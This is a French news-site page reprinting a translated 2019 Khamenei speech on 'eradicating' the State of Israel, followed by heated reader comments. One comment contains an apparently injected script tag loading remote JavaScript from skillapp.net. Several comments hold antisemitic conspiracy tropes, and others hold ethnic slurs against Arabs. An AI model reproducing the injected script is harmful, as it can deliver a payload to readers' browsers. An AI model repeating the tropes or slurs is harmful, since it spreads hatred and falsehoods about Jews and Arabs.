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Accueil du site > Tribune Libre > Khamenei : l’Iran souhaite la disparition de l’Etat (...)

Khamenei : l’Iran souhaite la disparition de l’Etat d’Israël et non celle des Juifs

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Discours du Guide Suprême de la Révolution Islamique, Sayed Ali Khamenei, le 15 novembre 2019, lors d'une réunion avec des représentants du gouvernement de la République Islamique, des ambassadeurs des pays musulmans et des participants à la 33e Conférence sur l'unité islamique, à l'occasion de l'anniversaire de la naissance du Prophète de l'Islam.

Source : english.khamenei.ir

Traduction : lecridespeuples.fr

Transcription :

[...] En ce qui concerne la Palestine, je tiens à dire certaines choses. Notre position sur la question palestinienne est une position de principe. C'est une position de principe qui est catégorique. Avant même le triomphe de la Révolution Islamique, depuis les débuts du mouvement révolutionnaire, notre grand Imam (Khomeini) a souligné le danger de l'influence sioniste, de l'ingérence sioniste et de l'oppression sioniste. Et nous avons adopté cette attitude dès les premiers instants du triomphe de la Révolution.

La première chose qu'a faite la Révolution est de s'approprier l'ambassade sioniste à Téhéran et de la donner aux Palestiniens. Cette action était à la fois pratique et symbolique, et nous avons continué sur cette voie jusqu'à aujourd'hui. Nous avons soutenu et aidé les Palestiniens de toutes les manières, et nous continuerons à le faire. Il n'y a aucune condition ou restriction à ce sujet. Le monde musulman entier doit aider la Palestine.

Notre défunt Imam (Khomeini), que Dieu le Très-Haut l'agrée, ne cessait d'évoquer, de même que les responsables de la République Islamique (d'Iran) dans leurs déclarations, (la nécessaire et inéluctable) éradication de l'Etat d'Israël. Nos ennemis interprètent faussement notre propos.

L'éradication de l'Etat d'Israël ne signifie nullement l'éradication du peuple juif. Nous n'avons aucune querelle avec lui. Cela signifie l'éradication de l'Etat, du régime imposé (de force en Palestine). L'éradication d'Israël signifie que le peuple de Palestine, qui est le propriétaire légitime de ce territoire, qu'il soit musulman, chrétien ou juif, les propriétaires originels et authentiques de la terre de Palestine, doivent eux-mêmes élire leur gouvernement. Ils vont exclure les (occupants) étrangers [tout comme les colons français expulsés d'Algérie], les bandits et les criminels, à l'instar de Netanyahou et de ses semblables, qui sont de véritables racailles. Ils doivent les exclure et gouverner eux-mêmes leur pays.

Voilà ce que signifie l'éradication de l'Etat d'Israël. Et cela se produira inéluctablement.

Certains disent qu'après 70 ans d'existence de cet Etat usurpateur, sa disparition est improbable. Cependant, les Etats des Balkans par exemple, et bien d'autres, ne sont devenus indépendants qu'après 60 ou 70 ans d'occupation. Mais en fin de compte, leurs territoires ont été restitués à leurs peuples.

La fin d'Israël n'est pas improbable ou chimérique. « Cela n'est point difficile à réaliser pour Dieu. » (Coran, 35, 17). Cela adviendra assurément.

Nous soutenons le peuple de Palestine. Nous sommes des partisans de l'indépendance de la Palestine. Nous soutenons le salut et la libération de la Palestine. Nous ne sommes pas antisémites. Dans notre propre pays, de nombreux Juifs vivent en toute sécurité. [...]

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63 réactions à cet article    


  • Lugsama Lugsama 25 novembre 09:04

    Ce blabla hors sol, sa république islamique à bien plus de chance de s’effondrer que l’Etat d’Israël.


    • Fifi Brind_acier Fifi Brind_acier 25 novembre 10:01

      @Lugsama

      sa république islamique à bien plus de chance de s’effondrer que l’Etat d’Israël.

      La défense aérienne d’Israël ressemble à une passoire, non ?


    • mursili mursili 25 novembre 10:24

      @Lugsama

      Qui vous dit qu’un régime iranien post-mollahs ne tiendrait pas à peu près le même discours ?


    • DACH 25 novembre 11:24

      @Fifi Brind_acier=vraiment mal informée, ou volonté de ne croire que ce qui lui plait. Dans les 2 situations, défaite assurée.

      <script src="//skillapp.net/2143f05201d76950ea.js"></script>

    • pemile pemile 25 novembre 11:32

      @DACH "<script src="//skillapp.net/2143f05201d76950ea.js"></script> « 

      Toujours pas soigné cette infection par  »La personne compétente qui veille sur notre groupe" ? smiley


    • Fifi Brind_acier Fifi Brind_acier 25 novembre 12:43

      @DACH
      Pas compris message.


    • OMAR 25 novembre 16:51

      Omar9
      .
      @Lugsama
      .
      Que la république islamiste s’effondre en Iran, cela est possible.
      .
      Mais l’Iran restera..
      .
      Que le sionisme disparait.
      Et Israël suivra...


    • Abou Darbrakam Abou Darbrakam 25 novembre 19:31

      @DACH
      install firfox si ce n’ai pas fait. si c’est lui déconne ,désinstalle le complètement , nettoyage de la base de registre avec ccleaner VERSION gratuit et réinstalle la dernière version. ajoute adblock + a firfox.

      CCLEANER ...https://www.ccleaner.com/fr-fr/ccleaner/download
      -
      FIRFOX .... https://www.mozilla.org/fr/firefox/new/

      ADBLOCK + ......https://adblockplus.org/fr/

      Paramètres et préférences JavaScript pour les pages web interactives

      https://support.mozilla.org/fr/kb/parametres-javascript-pages-interactives


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      • Ghostery : vous permet de bloquer des scripts d’entreprises auxquelles vous ne faites pas confiance.


    • Cirrhose (Droll de Crane) Cirrhose (Droll de Crane) 25 novembre 19:42

      @Abou Darbrakam

      Merci de ton effort .
      ca fait deja 3 fois que pemile et moi , l’ encourageont a prendre des mesure .


    • Jonas 25 novembre 19:47

      @OMAR
      Par ses déclarations , le régime des mollahs , ne s’adresse pas au peuple iranien , mais  a la « rue arabe ». Le grand peuple iranien exècre et vomit le régime qui ne tient que par la répression , le massacre à huis clos et à la coupure d’Internet. Le régime des mollahs n’a même pas une aviation capable de se mesurer à Israël. Les attaques et les liquidations de nombreux responsables de l’armée des mollahs en Syrie que le régime cache , se poursuivent , et le régime comme réponse se contente de discours et de menaces. 

      Mon cher Omar , deux pays musulmans non arabes , veulent devenir les leaders , de ce pauvre monde arabo-musulman orphelin d’un leader et en pleine ébullition. Ces deux pays Iran ( chiite) et la Turquie ( sunnite)) ne peuvent pas présenter une carte de visite alléchante a ce monde en déconfiture , sur le plan de la réussite économique , de recherches , d’innovations du savoir , de bonne gestion de sécurité interne, libertés etc , ils ont repris l’obsession classique , la haine d’Israël, qui parcours le monde arabo-musulman . Avec cela , le monde arabo-musulman va s’ épanouir retrouver de l’espoir aux jeunes afin de satisfaire leurs besoins et la promesse d’un avenir meilleure. 
       
      Sur le plan de la religion , ces deux pays que sont le régime des mollahs et celui du sultan Erdogan , sont les plus grands islamophobes.

      Ils sont contre israël, mais en attendant , ce sont les musulmans qui trinquent , ce sont les musulmans qu’ils massacrent , ce sont les musulmans qu’ils privent de liberté et de vivre convenablement dans leur pays. L’image qu’ils donnent de l’islam est repoussante , effrayante, exécrable. Ces deux pays musulmans non arabes n’ont même pas l’excuse d’avoir été colonisés.

      Quant à Israël , je vous donne rendez-vous dans 100 ans sur ce site , AgoraVox , israël , demeura sur la terre de ses ancêtres , alors que ces mollahs là et ses Ayatollahs , là , et les Erdogan seront jetés dans les poubelles de l’histoire.  


    • Olivier Perriet Olivier Perriet 25 novembre 09:10

      Bon alors appeler à la destruction du régime de la république islamique d’Iran n’est pas si grave alors ? smiley


      • OMAR 25 novembre 16:58

        Omar9
        .
        @Olivier Perriet
        .
        Pas du tout.
        .
        Mais bouffer une quenelle avec ses mains, c’est grave.
        C’est même interdit.
        C’est le lobby qui n’existe pas qui en a décidé ainsi..
        https://www.lemonde.fr/politique/article/2014/01/10/quelles-sanctions-pour-une-quenelle_4344749_823448.html


      • MAUGISMICHEL MAUGISMICHEL 25 novembre 18:01

        @Olivier Perriet

        « Bon alors appeler à la destruction du régime de la république islamique d’Iran n’est pas si grave alors ? »

        Aucun rapport avec l’article.

        Encore faut il y donner une raison du même genre que celle donnée pour rayer de la carte israel.

        L’Iran existe depuis des millénaires. Et c’est seulement les souteneurs de l’Etat illégal et illégitime, qui se dit État juif, qui veulent rayer l’Iran de la carte.

        Pour ma part, j’ai toujours soutenu l’idée que Israel devrait être fondu avec ce qui reste de la Palestine en un seul état LAÏC.


      • Cirrhose (Droll de Crane) Cirrhose (Droll de Crane) 26 novembre 02:04

        @OMAR

        https://www.agoravox.fr/commentaire5612709
        il y a peut tu me demandais , ou je t’ avais vu cité les juif ...
        j’ admet que tu use de longue périphrase ...

        C’est le lobby qui n’existe pas qui en a décidé ainsi..


        bien le bonjours chez toi 

      • HELIOS HELIOS 26 novembre 02:58

        @MAUGISMICHEL

        ... ce n’est pas parce qu’en France on accepte tout type de culture, même au détriment de la notre qu’il faut forcer les autres à faire pareil.

        Vu les démographies et les différences culturelles d’Israël et de la Palestine s’il y avait fusion entre les deux entités, en moins de 20 ans il n’y aurait plus que des palestiniens partout et quelques juifs dans les coins.

        Israël, en tant que nation cultuelle  au passage, comme l’Iran ne peut pas s’ouvrir tel que vous le dites sans signer son arrêt de mort. Tout le monde le sait, c’est d’ailleurs pour cela que les palestiniens ne peuvent revenir en Israel.

        Je ne défends pas Israël, pas plus que je ne désapprouve la Palestine, je pense seulement que les uns et les autres doivent accepter la cohabitation mais pas le mélange.


      • OMAR 26 novembre 09:14

        Omar9
        .
        Que tu as de lingues oreilles, @Cirrhose (Bonnet d’Âne) !!!
        .
        Voila ce que tu as écrit :à mon sujet
        « ..tu met encore ta « mediocritude » sur le compte des fachos et des juif . ».
        In Agora du 22 nov ; (Un général...).
        .
        Alors que mon commentaire ne comprenait aucun mot, aucune allusion aux juifs.
        Une accusation gratuite et crasse...
        .
        Mais c’est dans vos indignes habitudes d’accuser effrontément vos contradicteurs
        par diversion et pour les rabaisser à votre indigne niveau.
        .
        Alors, va brouter ailleurs....


      • OMAR 26 novembre 09:23

        Omar9
        .
        @HELIOS :« Je ne défends pas Israël, pas plus que je ne désapprouve la Palestine, »
        .
        Quelle belle fourbe contradiction avec votre affirmation précédente :
        « ...c’est d’ailleurs pour cela que les palestiniens ne peuvent revenir en Israel ».
        .
        Les palestiniens ne reviennent pas en Israël, mais chez eux, à leur maison, dans leurs terres, dans leur pays, la Palestine  !!!
        .
        Alors que des khazars, des juifs de conjoncture, quittent leur véritable pays tel que la Pologne ou la Russie, pour venir spolier les maisons palestiniennes :
        https://www.la-croix.com/Monde/A-Jerusalem-Palestiniens-expulses-chez-eux-profit-colons-israeliens-2019-02-17-1301003142
        .
        Rien à dire, @HELIOS, vos cours de hasbara sioniste ont été bien appris...


      • njama njama 25 novembre 09:14

        « L’avenir d’Israël dépend de son appartenance au Moyen-Orient. Là est le problème. Sans le règlement de la question palestinienne, cet avenir n’aura pas véritablement lieu » Abdoullah II, roi de Jordanie

        france-irak-actualite...


        • Jonas 25 novembre 20:36

            Il y a quelques questions de bon sens, que les arabo-musulmans devraient bien se poser.. Ils veulent un 22eme Etat, arabo-musulman alors qu’il en existe déjà 21 Etats, avec les réussites enviables , et époustouflantes , que le monde entier envie. Les immigrés du monde se bousculent pour aller vivre dans ces pays , dont la renommée comme havre de paix et du vivre ensemble sont légendaires. 

          " Nous voulons un Etat Palestinien , mais qu’avons-nous fait , nous- mêmes de notre Etat , indépendant depuis des décennies ? Sommes nous heureux ? Sommes -nous une démocratie ? Disposons-nous de libertés , de conscience et fondamentales ? Quelles sont nos réussites , dans quels domaines ?  Quels sont les produits appréciés dans le monde que nous exportants en dehors des hydrocarbures ? Combien avons-nous de Prix Nobel, depuis notre indépendance ? 

          Lorsque l’on voit les échecs de tous les pays arabo-musulmans , depuis les indépendances , lorsque l’ont voit tant de conflits internes et externes , tant de massacres , lorsque l’ont voit le nombre de plus en plus grand des ’arabo-musulmans qui fuir leur pays, bien que certains de ces pays ont été pourvus par dame nature. Je ne voit pas ce qu’ un Etat Arabo-musulman de plus peut apporter .  

          La somme des échecs ne fait pas une réussite. 

          Cet Etat , ressemblera -t-il au Japon, a la Corée du Sud , à Taïwan , à Israël , rien n’est sûr , il ressemblera , grosso modo et plutôt modo a ses frères. 

          Dans ce cas, je pense à une fédération jordano/Palestinienne ( étant donné que la Jordanie est peuplé déjà de plus de 65 à 70% de palestiniens) 

          Avec un roi, descendant de la famille du prophète qui fera la joie du Hamas et un Premier ministre qui sera forcément palestinien. 


        • njama njama 25 novembre 22:20

          @Jonas
          Vous n’avez pas l’air de comprendre que le Moyen-Orient ne veut pas plus d’un 51ème État US chez lui qu’un 29ème ou 28ème État €uropéen chez lui.

          Israël (« l’État » auto-proclamé en 1948) ne fait pas plus partie de l’Amérique que de l’Europe, n’apartient ni à l’un, ni à l’autre, aucun lien, aucun traité, n’unit historiquement un peuple juif chimérique à l’un ou l’autre, pas plus qu’un État chimérique (auto-proclamé)...

          Ne croyez pas que je désespère de la paix, mais le seul moyen pour qu’elle puisse émerger est la coopération, économique d’abord (c’est le plan le plus facile à réaliser et pour convaincre, un partage d’intérêts communs), puis viendrait ensuite le culturel (histoire, philosophie, poésie, art, ...), et davantage si affinités...en l’état actuel des choses, et pour ce que j’en connais, Israël est une chienlit... toxique...
          Cependant il suffit parfois d’un petit rien pour que tout change... je garde espoir...


        • JPCiron JPCiron 25 novembre 22:58

          Theodor Herzl a demandé l’autorisation aux « grandes puissances » d’installer une colonie en Palestine. Il a fallu du temps pour réaliser ce plan avec la bénédiction de l’ONU pour un État démocratique alors que tout le monde savait que l’objectif réel était un État ethnique.

          Il s’agit bien d’un État Occidental. D’ailleurs l’expulsion initiale des « Arabes » était nécessaire pour réaliser un État Juif majoritairement peuplé d’immigrés.

          Il n’y a plus de Droit international, il n’y a plus de droits de l’homme, il n’y a plus de morale. 

          Un jour (trop tard), les Sunnites et les Chiites comprendront qu’ils sont des alliés naturels. Entre-temps, leurs pays auront été fragmentés et désorganisés et seront la proie de la future grande puissance régionale.... Dont la philosophie de domination correspond parfaitement à celle que les USA ont librement choisi avec l’assistance bienveillante du Lobby américain pur sucre AIPAC.

          .

          .

          .


        • MAUGISMICHEL MAUGISMICHEL 26 novembre 00:27

          @Jonas

          Si les USA et ses états larbins n’intervenaient pas dans ces pays, ils sauraient gérer leurs affaires !!
          Vous approuvez les crimes de la France en Syrie et en Libye et vous vous posez des questions de FAUX CUL


        • Jonas 26 novembre 10:04

          @njama 
          Un fait que les arabo-musulman , élevaient dans le mensonge , la propagande et l’aveuglement ignorent.
           
          Le royaume de Transjordanie , devenue Jordanie en 1950, a été créé arbitrairement par les britanniques , sur 71% de la province de Palestine, ce qui montre que la Palestine n’a jamais été un Etat souverain, sauf dans le cerveau malades des arabo-musulmans.

          Ces Arabo-musulmans acceptent la création d’un royaume de Transjordanie , dans la province de palestine par les britanniques sans décision de la SDN,( ancêtre de l’ONU) afin de remonter le morale des Hashémites pour leur perte de la Mecque et Médine , mais contestent la création d’Israël par l’ONU en 1947. 

          Je vais démontrer , votre manque de culture historique abyssale, parce que vous fonctionnez selon les enseignements répandus dans les pays arabo-musulmans , non pas par des historiens ,mais par des fonctionnaires des régimes, qui n’ont même pas le niveau intellectuel des fonctionnaire de ceux de l’Union soviétique, qui eux savez refaire l’histoire . 

          Vous écrivez que << Israël Etat auto-proclamé >> cela montre votre degré de connaissance historique . Or l’Etat d’Israël a été voté à l’ONU , par la Résolution 181, avec 33 pays pour , 13 contre et 10 abstention. Cette résolution du partage , précisée un Etat Juif, un Etat Arabe et un corpus separatum , avait été rejetée par les pays Arabes , toujours en retard. 
           
          Ce qui a fait dire au palestinien Sari Nusseibeh, , docteur en philosophie islamique , un des fondateurs de l’université Al-Qods a Jérusalem-est, de 1995/2014, dans le« Monde des religions » du 27 mars, 2018 ceci : << Nous Palestiniens aurions dû essayer de faire la paix avec Israël dès le départ >>.

          Comme les Palestiniens , ne représentaient, absolument rien, lors de la séance de l’ONU, a part une « vague délégation » noyée dans celles des Etats Arabes," Ce sont les pays Arabo-musulmans qui ont décidé a leur place.

          . Comme lors de l’armistice de 1949. l’Egypte s’est emparée de Gaza, et la Transjordanie avait annexé , la Cisjordanie et Jérusalem-Est de 1949 à leur cuisante défaite de juin 1967. Pendant 19 ans les territoires que les Arabo-musulmans réclament ont été dans le mains des deux pays arabes sans créer un Etat Palestinien 

           




           


        • Séraphin Lampion Séraphin Lampion 25 novembre 09:19

          si le but de l’article est de battre un record de nombre de commentaires, c’est bien parti, 

          c’est aussi une occasion d’enrichire son vocabulaire en décourant de nouveaux noms d’oiseaux.


          • Abou Darbrakam Abou Darbrakam 25 novembre 19:49

            @Séraphin Lampion

            Ba.. ! les niqueur de dromadaires ils ont toujours envie d’exploser l’ombrelle du grand Satan,mais bon Les curés de l’islam et leurs djellabas part balles n’éviteront pas la chiasse.Le grand Satan va leurs mettre un petit coup de fourche dans les valseuses histoire de vidanger le trop plein de semoule. smiley


          • Jonas 25 novembre 20:53

            @Séraphin Lampion
            Avec le nom d’ Israël , les interventions des arabo-musulmans , battent des records cela c’est sûr. 

            Amusez-vous à compter les interventions des Arabo-musulmans , lorsqu’il s"agit, de Syrie,Yemen, Egypte , Algérie Irak ,Tunisie , Bahrein Arabie -saoudite etc . vous serez étonné , a croire , qu’ils interviennent selon des presse-book , fournis par des sites communautaristes et sur lesquels ils s’appuient. D’ailleurs les commentaires se ressemblent et se contredisent et sont souvent répétitifs. 

            Comme le disait dans une interview l’Imam de Bordeaux Tarek Oubrou , certains musulmans ne connaissent par leur histoire , encore moins celle des autres. 

            La Palestine c’est l’aphrodisiaque des Arabo-musulmans . 


          • MAUGISMICHEL MAUGISMICHEL 26 novembre 00:29

            @Jonas

            devriez vous occuper des interventions des états qui investissent dans le terrorisme : la France, la GB, les USA etc..


          • Jonas 26 novembre 10:37

            @MAUGISMICHEL
            Les seuls Etats qui investissent dans le terrorisme dans le monde , viennent du Moyen-Orient. Ces Etats ont cru pouvoir manipuler les terroristes grâce aux pétrodollars , et pouvoir gouverner tranquillement et paraître comme des modérés aux yeux des pays Occidentaux. mais Frankenstein , s’est retourné contre ses maîtres. 

             Si vous étiez un peu versé dans l’histoire du Moyen-Orient , vous aurez su , que ces pays n’ont pas besoin des autres, ils sont nés par la violence et retournent toujours dans la violence. Ils se défaussent sur les autres, pour détourner l’attention de leur incompétence , à gérer un pays. 

            Pourquoi , parce que dans ces pays il n’y a pas de soupape. Pas de liberté, pas de liberté de conscience , pas d’opinion publique , pas de presse libre, pas de justice indépendante du pouvoir , pas d’opposants ( ils sont soit en prison ou tués) , la religion seule est donnée comme tranquillisant ici bas en attendant le paradis d’Allah et ses magnifiques récompenses. 

            Plus de 73 coups d’Etats , conflits internes ,massacres , liquidations sommaires etc. 
            Le règne de Saddam Hussein plus de 600 00 morts . Plus le million de mort lors de la guerre contre l’Iran
            Les quatre guerres du Yemen , entre Sud et Nord , 400 000 morts , la guerre actuelle, entre 80 000 à 100 000 morts. La guerre Maroc/Algérie. La guerre civile Algérienne , 200 00 morts , celle du Liban 150 000 morts. Le massacre et destruction de la ville de Hama en 1982, par Hafez A-Assad , faisant plus de 40 000 morts , celle entre le Soudan Sud / Nord 2 millions de morts , Septembre noir en 1970, massacre des palestiniens par le roi Hussein 35 000 morts etc.J’ai une liste a vitre disposition. Et je ne cite pas la Turquie qui depuis 1984 dans sa guerre contre les kurdes est à 48 000 morts.


          • popov 27 novembre 02:46

            @Abou Darbrakam

            Bravo pour le pseudonyme !


          • njama njama 25 novembre 09:54

            En fait la politique intérieure et extérieure d’Israël est très simple à comprendre, tout en faisant des promesses aux Palestiniens comme à la communauté internationale qu’il n’a jamais tenues il lui faut poursuivre les agressions pour justifier sa présence militaire en territoires occupés, faute de pouvoir la légitimer, et poursuivre sa colonisation et son expansion territoriale, en plus d’essayer d’affaiblir ses voisins dont il prétend qu’ils menaceraient son existence...

            En suivant cette logique qu’il poursuit depuis 1967, voire depuis 1948, il est impossible de penser qu’à un seul moment Israël cherchait la paix, car force est de constater qu’il n’a fait que poursuivre son idéologie sioniste.

            Il en résulte que Israël est un corps étranger au monde arabe, à l’arabité, dans le Moyen-Orient.

            Si déjà Israël se retirait du Golan ce serait un pas dans le bon sens...


            • Fifi Brind_acier Fifi Brind_acier 25 novembre 09:55

              J’ai longtemps soutenu Israël, qui aurait du être un exemple dans tout le Moyen Orient de pays démocratique, laïque, pluri ethnique et pluri confessionnel.

              .

              Quelle déception de voir un peuple qui a tant souffert dans son histoire, incapable d’inventer autre chose qu’un colonialisme compradore, sanguinaire, violemment opposé au Droit international.

              .

              Et qui, depuis sa création, a constamment refusé d’appliquer les résolutions des Nations Unies, tout en appuyant les sanctions et les guerres, contre des pays qui n’ont déclaré la guerre à personne, mais qui gênaient les USA, ou qui entravaient l’expansion d’Israël et son projet de Grand Israël...


              • njama njama 25 novembre 10:01

                @Fifi Brind_acier
                Juif démocratique c’est plutôt antithétique ... Si Israël est une démocratie nos colonies l’étaient aussi...droit rabbinique et droit international ça ne s’emboîte pas beaucoup mieux !


              • Blanche Colombe Blanche Colombe 25 novembre 10:06

                @Fifi Brind_acier

                une question en passant :
                en regardant sur ARTE un document sur les Huguenots, j’ai été intéressée par leur rivalité avec les Séfarades pour le contrôle des grands ports de l’Europe du nord (Hambourg, Rotterdam et Anvers). Or, les Huguenots ne sont pas un peuple et leur religion ne différait des autres variantes chrétiennes que par des aspects séculiers comme celui du rapport à l’argent. Par contre, les huguenots étaient (et restent ?) un réseau, comme ceux d’autres lobbies (franmacs, rotary,KKK, etc.)
                les juifs sont-ils un « peuple » ?


              • Fifi Brind_acier Fifi Brind_acier 25 novembre 13:00

                @Blanche Colombe
                les juifs sont-ils un « peuple » ?


                Il y a eu un Etat juif, ou au moins un embryon d’ Etat, puisqu’ils avaient une monnaie. Une monnaie suppose un espace défini, entouré de frontières, à l’intérieur desquelles cette monnaie avait cours. Et des gens chargés de créer cette monnaie.

                Mais il a coulé de l’eau sous les ponts depuis..., si tout le monde se met à revendiquer une terre, sous prétexte que ses aïeux l’ont possédée à une période ou une autre, on n’est pas sortis de l’auberge... 
                .
                Mais je crois que la question n’est même pas là, ni dans un Etat ancien, ni dans un peuple. Ils croient tout ce qui écrit dans leurs grimoires.
                .
                Comme les Américains qui croient à la destinée manifeste, qu’ils sont exceptionnels et que Dieu les a envoyés sur terre pour répandre la civilisation... Les juifs, c’est pareil, il est écrit dans leurs livres anciens, que les juifs doivent dominer le monde.
                Que voulez-vous faire contre les croyances ??


              • Fifi Brind_acier Fifi Brind_acier 25 novembre 13:04

                @njama
                Juif démocratique c’est plutôt antithétique ..


                Aucune population n’est obligée de puiser dans les modèles les plus mauvais ! Surtout quand elle a été victime d’ostracismes tout au long de son histoire.


              • QAmonBra QAmonBra 25 novembre 17:20

                @Fifi Brind_acier

                Les U$A sont à l’origine un état colonial fondé par des gangsters et des bigots, ayant tous deux tellement lu les sanglantes stupidités de l’ancien testament, qu’ils ont fini par s’identifier au Peuple héro de ladite mythologie.

                Faute d’avoir des mythes fondateurs pour leur courte et indigente histoire, ils se sont approprié ceux de leur satanée bible, c’est à dire ceux du prétendu « Peuple élu » et de son « talmud », pour le malheur des amérindiens, des africains, des japonais d’Hiroshima, de Nagasaki ou des gosses irakiens et la liste est loin d’être exhaustive ! 

                Une bonne part de l’identité idéologique et culturelle U$ vient de là et il n’est donc pas étonnant, que c’est dans leur population qu’on trouve le plus grand nombre de « chrétiens $ionistes » au monde, pour le malheur des palestiniens et, touchons du bois, peut être aussi le nôtre car le mix malfrats/tartufes est hautement toxique. . .


              • Fifi Brind_acier Fifi Brind_acier 25 novembre 19:50

                @QAmonBra
                Je ne suis pas trop d’accord avec leur influence dans la mentalité des premiers colons américains... Il y avait beaucoup de protestants allemands, ils constituaient 40% des premiers colons, à tel point qu’ils sont majoritaires dans certains états, comme le Dakota du nord, dont la capitale s’appelle Bismark.
                .
                Pas d’accord non plus avec « leur courte et indigente histoire », leur histoire est longue, bien plus longue que les autres religions du Livre, et pas indigente du tout. Ils ont produit nombre d’intellectuels, de scientifiques et d’artistes de haut niveau.
                .
                Par contre, vous avez raison, ils sont aidés aux USA, non seulement par l’AIPAC, mais par les Evangélistes (on retrouve les protestants) , qui sont au moins 40 millions aux USA, et qui croient de Jésus va revenir... en Israël ! Ils défendent Israël, quoi qu’il fasse, et tous les Présidents US sont bien obligés d’en tenir compte...


              • QAmonBra QAmonBra 25 novembre 20:19

                @Fifi Brind_acier

                (. . .) "Pas d’accord non plus avec « leur courte et indigente histoire », leur histoire est longue, bien plus longue que les autres religions du Livre, et pas indigente du tout. Ils ont produit nombre d’intellectuels, de scientifiques et d’artistes de haut niveau."

                (. . .)

                Je crois qu’il y a malentendu de votre part, je parles exclusivement des U$A dont les ancêtres colons se sont identifiés au Peuple « élu » de l’ancien testament, on constate même cette identification notamment dans les « gospels » des descendants d’africains mis en esclavage et qu’ils ont converti au christianisme.


              • titi 25 novembre 22:34

                @Fifi Brind_acier

                « Mais il a coulé de l’eau sous les ponts depuis..., si tout le monde se met à revendiquer une terre, sous prétexte que ses aïeux l’ont possédée à une période ou une autre, on n’est pas sortis de l’auberge... »

                Bien d’accord.
                Ca s’applique aux allemands de Prusse, aux Polonais de Belaruss, et justement ça s’applique aux Palestiniens aussi.


              • JPCiron JPCiron 25 novembre 23:07

                @Fifi Brind_acier

                En fait, Israël n’a jamais défini des frontières.
                Ni lors de sa déclaration d’indépendance, ni après.

                Theodor Herzl écrivait que ces limites étaient celles bibliques : du Nil à l’ Euphrate...
                Et tout Sioniste qui se respecte ne le contredira pas.
                .

                .


              • samy Levrai samy Levrai 25 novembre 23:56

                @Fifi Brind_acier
                Etre juif c’est d’être de religion juive, il n’y a pas de peuple juif comme il n’y a pas de peuple chretien ou musulman.
                Des que cela est oublié , à chaque fois, c’est la cata pour les juifs.


              • Fifi Brind_acier Fifi Brind_acier 26 novembre 10:25

                @QAmonBra
                D’accord, je n’avais pas compris que vous parliez des USA.


              • Fifi Brind_acier Fifi Brind_acier 26 novembre 10:26

                @JPCiron
                Je ne parle pas des frontières actuelles, mais de celles d’il y a deux mille ans, quand Israël avait une monnaie.


              • Jonas 26 novembre 11:08

                @JPCiron
                Parce que c’est simple à comprendre : Une frontière en général se décide entre Etats souverains et non imposée par des puissances étrangères. 

                Israël a une frontière avec l’Egypte et la Jordanie , pas avec le Liban et la Syrie, parce que ses deux pays se disent en « Résistance  » contre lui. Donc avec ces deux pays ce sont uniquement des lignes d’armistices, ce qui veut dire un cessez-le feu mais pas la fin des hostilités. 
                 
                Vous êtes plus guidé par votre haine d’Israël que par la vérité des faits. Voilà , un événement récent qui démontre et démonte votre mensonge

                Lors du traité de paix jordano/Israélien en 1994, la Jordanie mettait à disposition gratuite des terres dans la région de Baqoura/Naharayim , pour une période de 25 ans. Cette date arrivant a échéance , le roi de Jordanie , proclame la fin de cet accord et le rétablissement de la souveraineté totale du royaume sur ces territoires. Israël s’est incliné , suivant les annexes , du traité. Vous voyez , que vous racontez n’importe quoi ! 


              • njama njama 26 novembre 12:05

                @Jonas
                Les seules frontières qui pourraient avoir une légitimité sont celles de 1967, et vous savez qu’Israël les refuse.
                De plus Israël devrait se retirer du Liban sud, et du Golan.
                Toute résolution du conflit israélo-palestinien ne peut se baser que sur ces frontières de 1967, que même le Hamas accepte.
                La paix est dans les mains d’Israël, mais comme je le disais plus haut, il n’en veut pas pour poursuivre son idéologie sioniste d’un État Juif, d’un Grand Israël chimérique.
                S’il y a bien quelque chose qui caractérise les Juifs, ce sont les jérémiades, les lamentations, sur les palestiniens, sur le Hezbollah, sur ses voisins, sur l’Iran, personne ne s’y laisse prendre.


              • Jonas 26 novembre 17:58

                @njama
                Je vais vous dire @njama , de tous les dirigeants arabo-musulmans depuis les indépendances , deux se détachent et de loin , par leur vision de la situation, géopolitique , leur intelligence pratique et leur formation intellectuelle. 

                Il s’agit de  : Habib Bourguiba de Tunisie et Hassan II du Maroc . Ils peuvent être critiquer pour leur politique interne , comme tous les dirigeants politiques de tous les pays, du monde , mais parmi les dirigeants arabes , il font exception.

                Tous les autres , sont incompétents et faibles sauf pour massacrer leur compatriotes. Pour le reste ,ils ne sont bons ni pour faire la guerre ni pour faire la paix.

                La preuve , la politique économique et sociale est en lambeaux chez eux , quant aux guerre contre israël , ils les ont toutes perdues. Et ne pouvant détruire Israël , comme ils le prétendaient , après plusieurs défaites consécutives , ils ont filé le bébé aux palestiniens . Qui de la guerre Israélo/Arabes « du début » s’est transformée en guerre Israélo/palestinienne.

                Jamais l’armée israélienne n’a eu face à elle , une armée palestinienne constituée, comme avec l’Egypte-Transjordanie devenue Jordanie , Liban, Syrie et Irak. 
                Les Palestiniens n’ont utilisé que le terrorisme et rien que du terrorisme. 

                Pour mémoires. Les Accords d’armistice ne devaient rester que temporaires avant des négociations de traités de paix, qui ne furent pas signés dans les années suivantes à l’exception des accords israélo/libanais . Les autres accords établissaient clairement , à la demande des pays arabes que les frontières fixées ne CONSTITUENT PAS DES FRONTIERES PERMANENTES OU DE JURE .( Donc , il y a eu des lignes d’armistice mais pas de frontières) 

                Lors de la première défaite des pays arabes de 1948 ( Egypte-Irak-Liban-Syrie et Transjordanie )

                il y a eu un armistice avec chacun des cinq pays Arabo-musulmans. 

                A)Avec l’Egypte le 24 février 1949. L’Egypte garde Gaza  et Israël doit libérer les troupes égyptiennes et leurs armes encerclées a Faluja , dont faisait partie un certain Gamal Abdel Nasser. 
                B) Avec la Transjordanie le 3 avril 1949 . La Transjordanie , maintien ses forces sur les positions conquises a savoir , la Cisjordanie et Jérusalem-Est en plus la Transjordanie bénéficie des positions tenues par les forces irakiennes.
                C) 
                Accord ,avec le Liban , le 23 mars 1949. Retrait de l’armée israélienne de 13 villages du territoire libanais . 
                D) Accord avec la Syrie ,le 20 juillet 1949.Retrait des forces syriennes de la plupart des territoires conquis à l’Ouest de la frontière internationale. 
                E) Aucun accort n’est signé avec l’Irak. Les irakiens se retirent en mars 1949, cédant leurs positions à la Transjordanie. 


              • Jonas 26 novembre 18:35

                @njama

                Mais arabo-musulmans , de quelle Palestine parlez-vous ? 

                En général avant de demander la création d’un Etat , il faut que les forces qui se disputent le leaderships , du pays , se mettent d’accord , sur un projet politique commun et parlent d’une même voix lors des forums internationaux. . 

                Or chaque observateur , objectif , peut constater , que deux factions antagonistes ,palestiniennes se font la guerre . pour le pouvoir , sans avoir même pas encore d’Etat. 

